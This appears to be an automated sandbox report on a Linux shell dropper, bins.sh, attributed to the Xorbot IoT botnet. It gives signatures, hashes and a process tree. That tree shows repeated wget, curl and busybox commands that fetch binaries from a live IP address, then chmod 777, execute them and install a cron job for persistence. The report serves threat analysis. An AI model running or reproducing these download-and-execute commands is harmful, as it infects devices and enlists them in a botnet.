Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/01/2025, 01:56

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ccn8bsyrcq
  • SHA256 eef8be41bbc608ce0d28e3cbb61758177dda867088d0b00dbad3db9ad729383c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1635) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 34 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:745
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          ./LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://66.63.187.225/bins/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            ./nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
            • Executes dropped EXE
            PID:762
          • /bin/rm
            rm nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://66.63.187.225/bins/G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
              • Writes file to tmp directory
              PID:767
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:782
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
              • Writes file to tmp directory
              PID:796
            • /bin/chmod
              chmod 777 G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              ./G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
              2⤵
                PID:807
              • /usr/bin/wget
                wget http://66.63.187.225/bins/xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                • Writes file to tmp directory
                PID:808
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                ./xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                  • Writes file to tmp directory
                  PID:829
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:851
                • /tmp/48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  ./48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                  • Executes dropped EXE
                  PID:852
                • /bin/rm
                  rm 48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                  2⤵
                    PID:856
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                    • Writes file to tmp directory
                    PID:857
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                    • Writes file to tmp directory
                    PID:858
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                    • Writes file to tmp directory
                    PID:859
                  • /bin/chmod
                    chmod 777 yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:860
                  • /tmp/yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    ./yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                    • Executes dropped EXE
                    PID:861
                  • /bin/rm
                    rm yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:865
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                      • Writes file to tmp directory
                      PID:866
                    • /bin/chmod
                      chmod 777 HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                      • File and Directory Permissions Modification
                      PID:867
                    • /tmp/HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      ./HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                      • Executes dropped EXE
                      PID:868
                    • /bin/rm
                      rm HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                      2⤵
                        PID:870
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                        • Writes file to tmp directory
                        PID:871
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                        • Writes file to tmp directory
                        PID:872
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                        • Writes file to tmp directory
                        PID:873
                      • /bin/chmod
                        chmod 777 8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:874
                      • /tmp/8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        ./8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                        • Executes dropped EXE
                        PID:875
                      • /bin/rm
                        rm 8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                        2⤵
                          PID:877
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                          • Writes file to tmp directory
                          PID:878
                        • /usr/bin/curl
                          curl -O http://66.63.187.225/bins/t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                          • Writes file to tmp directory
                          PID:882
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                          • Writes file to tmp directory
                          PID:883
                        • /bin/chmod
                          chmod 777 t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                          • File and Directory Permissions Modification
                          PID:884
                        • /tmp/t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          ./t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                          • Executes dropped EXE
                          PID:885
                        • /bin/rm
                          rm t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                          2⤵
                            PID:887
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                            • Writes file to tmp directory
                            PID:888
                          • /usr/bin/curl
                            curl -O http://66.63.187.225/bins/Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                            • Writes file to tmp directory
                            PID:889
                          • /bin/busybox
                            /bin/busybox wget http://66.63.187.225/bins/Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                            • Writes file to tmp directory
                            PID:890
                          • /bin/chmod
                            chmod 777 Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                            • File and Directory Permissions Modification
                            PID:891
                          • /tmp/Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            ./Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                            • Executes dropped EXE
                            PID:892
                          • /bin/rm
                            rm Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                            2⤵
                              PID:894
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              2⤵
                              • Writes file to tmp directory
                              PID:895
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              2⤵
                              • Writes file to tmp directory
                              PID:896
                            • /bin/busybox
                              /bin/busybox wget http://66.63.187.225/bins/eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              2⤵
                              • Writes file to tmp directory
                              PID:897
                            • /bin/chmod
                              chmod 777 eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              2⤵
                              • File and Directory Permissions Modification
                              PID:898
                            • /tmp/eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              ./eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:899
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:901
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:902
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:903
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:904
                                  • /bin/rm
                                    rm eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                                    2⤵
                                      PID:906
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                      2⤵
                                        PID:909
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                        2⤵
                                          PID:910
                                        • /bin/busybox
                                          /bin/busybox wget http://66.63.187.225/bins/JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:991
                                        • /bin/chmod
                                          chmod 777 JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:996
                                        • /tmp/JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                          ./JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                          2⤵
                                          • Executes dropped EXE
                                          PID:997
                                        • /bin/rm
                                          rm JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                          2⤵
                                            PID:999
                                          • /usr/bin/wget
                                            wget http://66.63.187.225/bins/lILYpyM2NFxGSMzPeXtO75XHAHKHq1fQTd
                                            2⤵
                                              PID:1000
                                            • /usr/bin/curl
                                              curl -O http://66.63.187.225/bins/lILYpyM2NFxGSMzPeXtO75XHAHKHq1fQTd
                                              2⤵
                                              • Reads runtime system information
                                              PID:1001

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs

                                                • Path /tmp/48i8HNxWi7kHvCtq8AQww0oWpMhmHgRBOs
                                                • Size 107KB
                                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                • MD5 SHA1 SHA512 SSDEEP

                                                8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm

                                                • Path /tmp/8S1lApLS3VxIc9Xtuu5KkV1eHj9QlXiZTm
                                                • Size 98KB
                                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4

                                                • Path /tmp/Bk4goQZb95IYUP8MoyjHWaafKaBWyAFAR4
                                                • Size 127KB
                                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8

                                                • Path /tmp/G7es8ea0ogF0dowSW23nPlUnxXG7jgGue8
                                                • Size 119KB
                                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                • MD5 SHA1 SHA512 SSDEEP

                                                HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU

                                                • Path /tmp/HNmRL3sPlrjvHxgcE6XDog7ByRRVOxVJTU
                                                • Size 99KB
                                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                • MD5 SHA1 SHA512 SSDEEP

                                                JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT

                                                • Path /tmp/JzJsPXbAF236w1R3jQc5aAkDI082V5GqAT
                                                • Size 111KB
                                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                • MD5 SHA1 SHA512 SSDEEP

                                                LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt

                                                • Path /tmp/LKdq1Pyriax9TAA6fIZX4uKW6ruKlE8Glt
                                                • Size 177KB
                                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                • MD5 SHA1 SHA512 SSDEEP

                                                eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H

                                                • Path /tmp/eZuLpkbi8v0MwTeiVd9SRosoP3YYvYg67H
                                                • Size 151KB
                                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                • MD5 SHA1 SHA512 SSDEEP

                                                nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33

                                                • Path /tmp/nBLtrdgiKEoRg46rBTl7gCFwsf6HbjEg33
                                                • Size 141KB
                                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                • MD5 SHA1 SHA512 SSDEEP

                                                t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d

                                                • Path /tmp/t7VvhzAomTEwyLjWLhdqB3sBxHOZF6531d
                                                • Size 151KB
                                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                • MD5 SHA1 SHA512 SSDEEP

                                                xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG

                                                • Path /tmp/xRRhEyYuDbK5OlryHaUMMchveRWJz5kkYG
                                                • Size 122KB
                                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                • MD5 SHA1 SHA512 SSDEEP

                                                yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0

                                                • Path /tmp/yga72xGiv1T5HGZDoMXGYjZIZJU9eKYyX0
                                                • Size 112KB
                                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.VR8HGE

                                                • Path /var/spool/cron/crontabs/tmp.VR8HGE
                                                • Size 210B
                                                • SHA256 270f0a57606e9e51116657b6cd8e54f94b43f02c8189416b1a31fd4367ac7fe6
                                                • MD5 SHA1 SHA512